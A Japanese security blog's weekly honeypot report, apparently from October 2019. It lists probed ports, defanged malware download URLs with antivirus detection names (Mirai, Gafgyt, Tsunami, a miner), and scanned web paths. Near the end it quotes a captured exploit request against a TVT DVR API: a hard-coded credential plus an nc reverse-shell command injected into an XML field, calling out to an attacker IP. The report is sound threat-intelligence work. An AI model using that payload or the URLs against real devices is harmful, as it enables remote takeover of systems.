sec-chick Blog

サイバーセキュリティブログ

【ハニーポット簡易分析】Honeypot簡易分析(408-415日目:10/2-10/9)

ちょっと、更新が遅れてしまいましたが、 ハニーポットの簡易分析となります。

◾️Honeytrap
※80ポートは除く
＜国別検知数および検知数＞

f:id:one-chick-sec:20191010014851p:plain


＜検知ポート＞

ポート番号 サービス 検知数

1433

 ms-sql-s 174504
5900 vnc 46001
445 smb 31742
22 ssh 24290
23 telnet 10621
3389 rdp 1960
3306 mysql 1139
21 ftp 1098
2121 ftp 955
5555 ADB 657

 
＜検知マルウェア＞

malware virustotal virus name
hxxp://51[.]77[.]213[.]109/Mello1202/Yui[.]mips https://www.virustotal.com/file/097a573d0884c8285150a937348160583e1f2141b47cccf42a8e902234a4133d/analysis/1570642774/ MicroWorld-eScan:Gen:Variant.Trojan.Linux.Gafgyt.5,
ALYac:Gen:Variant.Trojan.Linux.Gafgyt.5,
ESET-NOD32:a variant of Linux/Gafgyt.WN,
TrendMicro-HouseCall:Backdoor.Linux.GAFGYT.SMMR2,
Avast:ELF:DDoS-Y [Trj],
ClamAV:Unix.Trojan.Mirai-5607483-0,
BitDefender:Gen:Variant.Trojan.Linux.Gafgyt.5,
Rising:Backdoor.Gafgyt!1.BC96 (CLASSIC),
Ad-Aware:Gen:Variant.Trojan.Linux.Gafgyt.5,
DrWeb:Linux.BackDoor.Fgt.205,
TrendMicro:Backdoor.Linux.GAFGYT.SMMR2,
McAfee-GW-Edition:Linux/Gafgyt.h,
FireEye:Gen:Variant.Trojan.Linux.Gafgyt.5,
Emsisoft:Gen:Variant.Trojan.Linux.Gafgyt.5 (B),
Jiangmin:Backdoor.Linux.dqzv,
MAX:malware (ai score=82),
Arcabit:Trojan.Trojan.Linux.Gafgyt.5,
Avast-Mobile:ELF:DDoS-S [Trj],
GData:Linux.Trojan-DDoS.Lightaidra.A,
AhnLab-V3:Linux/Gafgyt.Gen15,
McAfee:Linux/Gafgyt.h,
Tencent:Backdoor.Linux.Tsunami.t,
Ikarus:Trojan.Linux.Gafgyt,
Fortinet:ELF/Gafgyt.WN!tr,
AVG:ELF:DDoS-Y [Trj]
hxxp://188[.]241[.]73[.]110/bins/DEMONS[.]mips https://www.virustotal.com/file/f9e617956ae85fb913b0cc5a53c14a2924170b99e070662d6de1e058ad81402f/analysis/1570677740/

McAfee:Linux/Mirai.n,

Cyren:ELF/Trojan.FYSA-14,
Symantec:Linux.Mirai,
ESET-NOD32:a variant of Linux/Mirai.MN,
TrendMicro-HouseCall:Trojan.Linux.MIRAI.SMMR1,
Avast:ELF:Hajime-R [Trj],
ClamAV:Unix.Malware.Agent-7153585-0,
Kaspersky:HEUR:Backdoor.Linux.Mirai.b,
NANO-Antivirus:Trojan.Mirai.fyokgq,
AegisLab:Trojan.Linux.Mirai.K!c,
Tencent:Backdoor.Linux.Mirai.wao,
F-Secure:Malware.LINUX/Mirai.sotyl,
DrWeb:Linux.Mirai.1288,
Zillya:Trojan.Mirai.Linux.8790,
TrendMicro:Trojan.Linux.MIRAI.SMMR1,
McAfee-GW-Edition:Linux/Mirai.n,
Sophos:Mal/Generic-S,
Jiangmin:Backdoor.Linux.dphy,
Avira:LINUX/Mirai.sotyl,
Fortinet:ELF/Mirai.A!tr,
Antiy-AVL:Trojan[Backdoor]/Linux.Mirai.b,
ZoneAlarm:HEUR:Backdoor.Linux.Mirai.b,
Avast-Mobile:ELF:Mirai-UM [Trj],
Microsoft:DDoS:Linux/Gafgyt.YA!MTB,
AhnLab-V3:Linux/Cve-2018-10088.Gen,
MAX:malware (ai score=100),
Rising:Backdoor.Mirai/Linux!1.BAF6 (CLASSIC),
Ikarus:Trojan.Linux.Mirai,
GData:Linux.Trojan.Mirai.E,
AVG:ELF:Hajime-R [Trj],
Qihoo-360:Win32/Backdoor.6f4
hxxp://174[.]128[.]226[.]101/mps https://www.virustotal.com/file/9fecd9eb75360925cfd4ce7ff9d1b65d7dfeb049c39c9296e11e066380e101d1/analysis/1570718063/

MicroWorld-eScan:Gen:Variant.Backdoor.Linux.Tsunami.1,
FireEye:Gen:Variant.Backdoor.Linux.Tsunami.1,
McAfee:GenericRXIB-LW!0F1ABB7FD7EB,
Arcabit:Trojan.Backdoor.Linux.Tsunami.1,
Symantec:Linux.Backdoor.Kaiten,
ESET-NOD32:a variant of Linux/Tsunami.NDJ,
TrendMicro-HouseCall:Backdoor.Linux.BASHLITE.SMJC10,
Kaspersky:HEUR:Backdoor.Linux.IrcShell.p,
BitDefender:Gen:Variant.Backdoor.Linux.Tsunami.1,
Rising:Backdoor.Tsunami!1.A1B2 (CLASSIC),
Ad-Aware:Gen:Variant.Backdoor.Linux.Tsunami.1,
Emsisoft:Gen:Variant.Backdoor.Linux.Tsunami.1 (B),
DrWeb:Linux.BackDoor.Tsunami.239,
TrendMicro:Backdoor.Linux.BASHLITE.SMJC10,
McAfee-GW-Edition:GenericRXIB-LW!0F1ABB7FD7EB,
Sophos:Linux/Tsunami-A,
Avast-Mobile:ELF:Tsunami-EQ [Trj],
Jiangmin:Backdoor.Linux.asoo,
Antiy-AVL:Trojan[Backdoor]/Linux.IrcShell.p,
ZoneAlarm:HEUR:Backdoor.Linux.IrcShell.p,
GData:Gen:Variant.Backdoor.Linux.Tsunami.1,
ALYac:Gen:Variant.Backdoor.Linux.Tsunami.1,
MAX:malware (ai score=85),
Tencent:Backdoor.Linux.Tsunami.x,
Ikarus:Trojan.Linux.Gafgyt,
Fortinet:ELF/Tsunami.NDJ!tr,
Qihoo-360:virus.elf.tsunami.gen
hxxp://31[.]13[.]195[.]109/jaws[.]sh https://www.virustotal.com/url/bdd12fe0171ecb51d25443c0c09f183b134a8271022b7e9651866e9742eca0c6/analysis/1568526339/  
hxxp://pm[.]cpuminerpool[.]com/pm[.]sh https://www.virustotal.com/file/81de9fc33ab05928f9abca627435b3fa40a3470e01dc435dddae0e7bec640274/analysis/1570688167/ TrendMicro-HouseCall:Trojan.SH.SKIDMAP.UWEJY,
TrendMicro:Trojan.SH.SKIDMAP.UWEJY
hxxp://31[.]13[.]195[.]49/x https://www.virustotal.com/url/65071584ab70a5353da1eeec090311e3fb8c2c1de103387b2c94cb29d32ac4b3/analysis/1568512414/  
hxxp://fky[.]dfg45dfg45[.]best/download[.]exe https://www.virustotal.com/file/7520879098f0e216f226d8a50051955a31f3bd0c74e03062611c51ce1ba3b8f8/analysis/1570637038/

MicroWorld-eScan:Gen:Trojan.Downloader.fmGfaSf0Kfaj,
FireEye:Generic.mg.68537d1c4ca3e830,
CAT-QuickHeal:Trojan.Mauvaise.SL1,
McAfee:RDN/GenDownloader.aog,
K7AntiVirus:Trojan-Downloader ( 0054d9311 ),
Alibaba:TrojanDownloader:Win32/Siscos.66e903db,
K7GW:Trojan-Downloader ( 0054d9311 ),
Cybereason:malicious.c4ca3e,
Arcabit:Trojan.Downloader.fmGfaSf0Kfaj,
Invincea:heuristic,
Cyren:W32/Trojan.ZIFX-5996,
Symantec:Trojan Horse,
APEX:Malicious,
Avast:Win32:Dh-A [Heur],
ClamAV:Win.Dropper.Gh0stRAT-6989861-0,
Kaspersky:Trojan.Win32.Siscos.wgv,
BitDefender:Gen:Trojan.Downloader.fmGfaSf0Kfaj,
NANO-Antivirus:Trojan.Win32.Siscos.gbreee,
Paloalto:generic.ml,
ViRobot:Trojan.Win32.Z.Downloader.92160.D,
Rising:Backdoor.Zegost!8.177 (TFE:5:GhyWtHWPdCV),
Ad-Aware:Gen:Trojan.Downloader.fmGfaSf0Kfaj,
Sophos:Troj/Agent-AWJO,
Comodo:Packed.Win32.MUPX.Gen@24tbus,
F-Secure:Heuristic.HEUR/AGEN.1014775,
DrWeb:Trojan.DownLoader25.10311,
VIPRE:Trojan.Win32.Generic!BT,
TrendMicro:Backdoor.Win32.ZEGOST.SMS,
McAfee-GW-Edition:BehavesLike.Win32.Generic.nc,
Fortinet:W32/Kryptik.FHSF!tr,
Emsisoft:Gen:Trojan.Downloader.fmGfaSf0Kfaj (B),
SentinelOne:DFI - Malicious PE,
Jiangmin:Trojan.Siscos.kx,
MaxSecure:Trojan.Malware.300983.susgen,
Avira:HEUR/AGEN.1014775,
MAX:malware (ai score=84),
Endgame:malicious (moderate confidence),
Microsoft:Trojan:Win32/Bluteal!rfn,
AegisLab:Trojan.Win32.Siscos.4!c,
ZoneAlarm:Trojan.Win32.Siscos.wgv,
AhnLab-V3:Trojan/Win32.Kryptik.R265106,
Acronis:suspicious,
VBA32:BScope.Backdoor.BlackHole,
ALYac:Gen:Trojan.Downloader.fmGfaSf0Kfaj,
Cylance:Unsafe,
ESET-NOD32:a variant of Win32/TrojanDownloader.Tiny.NQG,
TrendMicro-HouseCall:Backdoor.Win32.ZEGOST.SMS,
Tencent:Win32.Trojan.Siscos.Wopv,
Yandex:Trojan.Siscos!nwwiq+cyaPw,
Ikarus:Trojan-Ransom.HydraCrypt,
eGambit:Unsafe.AI_Score_71%,
GData:Win32.Trojan.Agent.WP,
Webroot:W32.Trojan.Gen,
AVG:FileRepMalware,
Panda:Trj/GdSda.A,
CrowdStrike:win/malicious_confidence_90% (W),
Qihoo-360:HEUR/QVM11.1.4CAB.Malware.Gen
hxxp://anunna[.]club/x https://www.virustotal.com/url/909fc6bee20704cbabf60e87015c40449ad952472d2bff376a1abffc9a699ec3/analysis/1570330378/  
hxxp://188[.]241[.]73[.]110/g https://www.virustotal.com/file/16255710879e7c60ca01cf7993a1621b7574229ac6fdd548fdbaee44a6ba0b16/analysis/1567892980/ Kaspersky:HEUR:Trojan-Downloader.Shell.Agent.p,
ZoneAlarm:HEUR:Trojan-Downloader.Shell.Agent.p
hxxp://Op[.]Cnazb[.]Xyz/IBS1[.]jpg https://www.virustotal.com/url/2e31343b10cdffe83dfc9c82137979aac66d7be85ed568dc779db412cee76a54/analysis/1570282508/  
hxxp://switchnets[.]net/unstable https://www.virustotal.com/url/aacd30e68a31b91742fbe5a9078ae0823f13255018ab65efe39a0e4a6c48f89b/analysis/1568526555/  
hxxp://104[.]244[.]78[.]187/bins/wolf[.]mpsl https://www.virustotal.com/file/5f8a5aaab165316c0ec843d65131adeda63b5fec67696c6a0b4b062da9d6075c/analysis/1570681700/ McAfee:RDN/Generic BackDoor,
AegisLab:Trojan.Linux.Mirai.K!c,
Symantec:Linux.Mirai,
ESET-NOD32:a variant of Linux/Mirai.OX,
TrendMicro-HouseCall:Possible_MIRAI.SMLBO20,
Avast:ELF:Mirai-ACF [Trj],
ClamAV:Unix.Trojan.Mirai-6976992-0,
Kaspersky:HEUR:Backdoor.Linux.Mirai.b,
NANO-Antivirus:Trojan.Elf32.Mirai.gceeny,
Tencent:Backdoor.Linux.Mirai.wav,
F-Secure:Malware.LINUX/Mirai.zzlrp,
DrWeb:Linux.Mirai.1442,
TrendMicro:Possible_MIRAI.SMLBO20,
McAfee-GW-Edition:RDN/Generic BackDoor,
Sophos:Mal/Generic-S,
Avira:LINUX/Mirai.zzlrp,
Fortinet:ELF/Mirai.RQ!tr,
Antiy-AVL:Trojan[Backdoor]/Linux.Mirai.b,
ZoneAlarm:HEUR:Backdoor.Linux.Mirai.b,
Avast-Mobile:ELF:Mirai-XW [Trj],
AhnLab-V3:Linux/Mirai.Gen11,
Ikarus:Trojan.Linux.Mirai,
GData:Linux.Trojan.Mirai.G,
AVG:ELF:Mirai-ACF [Trj],
Qihoo-360:Win32/Trojan.4d8
hxxp://5[.]8[.]78[.]205/Skyline/mips_Skyline https://www.virustotal.com/file/e6136fdcaa8daed79969abf0ed9cdb183c26735a33dbcb5c61c32bdd43a45f5f/analysis/1570689478/ DrWeb:Linux.DDoS.291,
Fortinet:ELF/DDoS.CIA!tr,
AhnLab-V3:Linux/MalPack5.Exp
hxxp://93[.]174[.]93[.]178/rom[.]sh https://www.virustotal.com/url/ed0c15dd75f224f47e7f413469c5ed3112115caa2957cfe02a88c30def6f5c7b/analysis/1570190290/  
hxxp://185[.]117[.]75[.]248/bins/September[.]mips https://www.virustotal.com/url/9ab48bd19ba8c43ec4ee32a490ddfcbeb9686fc381b881a81c9c5e496ff36412/analysis/1570642805/  
hxxp://142[.]11[.]199[.]235/mips https://www.virustotal.com/file/06dd850915d9dd8703119dd400c744fd9e8f6a96cde547ef6f8bb365dd339ac9/analysis/1569725933/ ESET-NOD32:a variant of Linux/Mirai.AEL,
TrendMicro-HouseCall:Trojan.Linux.MIRAI.SMMR1,
Avast:ELF:Mirai-VV [Trj],
Kaspersky:HEUR:Backdoor.Linux.Mirai.b,
Tencent:Backdoor.Linux.Mirai.wao,
Sophos:Linux/DDoS-CIA,
DrWeb:Linux.Mirai.1443,
TrendMicro:Trojan.Linux.MIRAI.SMMR1,
Microsoft:DDoS:Linux/Gafgyt.YA!MTB,
ZoneAlarm:HEUR:Backdoor.Linux.Mirai.b,
Avast-Mobile:ELF:Mirai-UM [Trj],
GData:Linux.Trojan.Mirai.E,
AhnLab-V3:Linux/Mirai15.Exp,
Rising:Backdoor.Mirai/Linux!1.BAF6 (CLASSIC),
Ikarus:Trojan.Linux.Mirai,
Fortinet:ELF/Mirai.OX!tr,
AVG:ELF:Mirai-VV [Trj]
hxxp://142[.]11[.]199[.]235/arm7 https://www.virustotal.com/file/89e9d8b64b786255ce2bb6dfd7971f4facf22ac17e6e3256d3edbdd86d54a6d1/analysis/1570686776/ MicroWorld-eScan:Gen:Variant.Linux.Mirai.1,
McAfee:RDN/Generic BackDoor,
Zillya:Trojan.Mirai.Linux.10378,
Cyren:ELF/Trojan.SJNJ-2,
Symantec:Trojan.Gen.MBT,
ESET-NOD32:a variant of Linux/Mirai.AEL,
TrendMicro-HouseCall:Trojan.Linux.MIRAI.SMMR1,
Avast:ELF:Mirai-AHV [Trj],
ClamAV:Unix.Dropper.Mirai-7135925-0,
Kaspersky:HEUR:Backdoor.Linux.Mirai.au,
BitDefender:Gen:Variant.Linux.Mirai.1,
NANO-Antivirus:Trojan.ElfArm32.Mirai.gbbqvh,
AegisLab:Trojan.Linux.Mirai.K!c,
Tencent:Backdoor.Linux.Mirai.wam,
Ad-Aware:Gen:Variant.Linux.Mirai.1,
Emsisoft:Gen:Variant.Linux.Mirai.1 (B),
F-Secure:Malware.LINUX/Mirai.wnzpj,
DrWeb:Linux.Mirai.2618,
TrendMicro:Trojan.Linux.MIRAI.SMMR1,
McAfee-GW-Edition:RDN/Generic BackDoor,
FireEye:Gen:Variant.Linux.Mirai.1,
Sophos:Linux/DDoS-CIA,
Ikarus:Trojan.Linux.Mirai,
Jiangmin:Backdoor.Linux.droo,
Avira:LINUX/Mirai.wnzpj,
Fortinet:ELF/Mirai.AE!tr,
Antiy-AVL:Trojan[Backdoor]/Linux.Mirai.au,
Arcabit:Trojan.Linux.Mirai.1,
ZoneAlarm:HEUR:Backdoor.Linux.Mirai.au,
Avast-Mobile:ELF:Mirai-UM [Trj],
Microsoft:DDoS:Linux/Gafgyt.YA!MTB,
AhnLab-V3:Linux/Mirai13.Exp,
ALYac:Gen:Variant.Linux.Mirai.1,
MAX:malware (ai score=89),
Rising:Backdoor.Mirai/Linux!1.BAF6 (CLASSIC),
GData:Gen:Variant.Linux.Mirai.1,
AVG:ELF:Mirai-AHV [Trj],
Qihoo-360:Win32/Backdoor.3df



＜国別検知数および検知数＞

f:id:one-chick-sec:20191010015509p:plain

＜ターゲット別検知数＞

target count
- 289
phpMyAdmin 267
FreePBX 59
Unauthorized Relay 9
txt 8
ThinkPHP 7
SQLiteManager 6
cfg file 6
Admin config 4
SQL 4
IP camera 3
D-Link DIR-850L 2
SQLite 2
Scanner 2
Tomcat 2
DGN1000 Netgea Router 1
Discussion on UserPro 1
SQLite Manager 1
Unknown 1


＜新規検知パス＞

path target reference
//myadmin// phpMyAdmin -
//myadmin/scripts/setup.php phpMyAdmin -
//phpadmin// phpMyAdmin -
//phpmyadmin// phpMyAdmin -
//phpmyadmin/scripts/setup.php phpMyAdmin -
/C$ WebDAV -
/C$/ WebDAV -
/Pages/login.htm    
/VSR3/Forms/Login/Login.aspx VoipSwitch Resellers System http://reportes.voipperu.com.pe/VSR3/Forms/Login/Login.aspx?ReturnUrl=%2FVSR3%2Fdefault.aspx
/VSR3/extjs/ext-all-js/ext.axd VoipSwitch Resellers System http://reportes.voipperu.com.pe/VSR3/Forms/Login/Login.aspx?ReturnUrl=%2FVSR3%2Fdefault.aspx
/_html/main.asp - -
/a2billing/admin/Public/index.php a2billing http://www.asterisk2billing.org/
/cgi-bin/nobody/Search.cgi AVTECH IP Camera https://www.exploit-db.com/exploits/40500
/editBlackAndWhiteList Shenzhen TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API https://github.com/mcw0/PoC/blob/master/TVT-PoC.py
/images.php phpMyAdmin https://malware.news/t/finding-neutrino/32345


＜気になった通信＞
Shenzhen TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API におけるリモードコード実行の脆弱性

POST /editBlackAndWhiteList HTTP/1.1
User-Agent: ApiTool
Authorization: Basic admin:{12213BD1-69C7-4862-843D-260500D1DA40}

<?xml version="1.0" encoding="utf-8"?>
<request version="1.0" systemType="NVMS-9000" clientType="WEB">
<types>
<filterTypeMode>
<enum>refuse</enum><enum>allow</enum>
</filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum>
<enum>mac</enum></addressType></types><content><switch>true</switch>
<filterType type="filterTypeMode">refuse</filterType><filterList type="list">
<itemType><addressType type="addressType"/></itemType><item>
<switch>true</switch><addressType>ip</addressType>
<ip>$(nc${IFS}93[.]174[.]93[.]178${IFS}31337${IFS}-e${IFS}$SHELL&)</ip>
</item></filterList></content></request>

DVR/NVR/IPC のAPIにおける脆弱性を狙った通信であり、Basic認証を突破した後にncコマンドでコード実行を狙った通信と思われます。

IP情報：93[.]174[.]93[.]178
https://www.shodan.io/host/93.174.93.178

 

以上となります。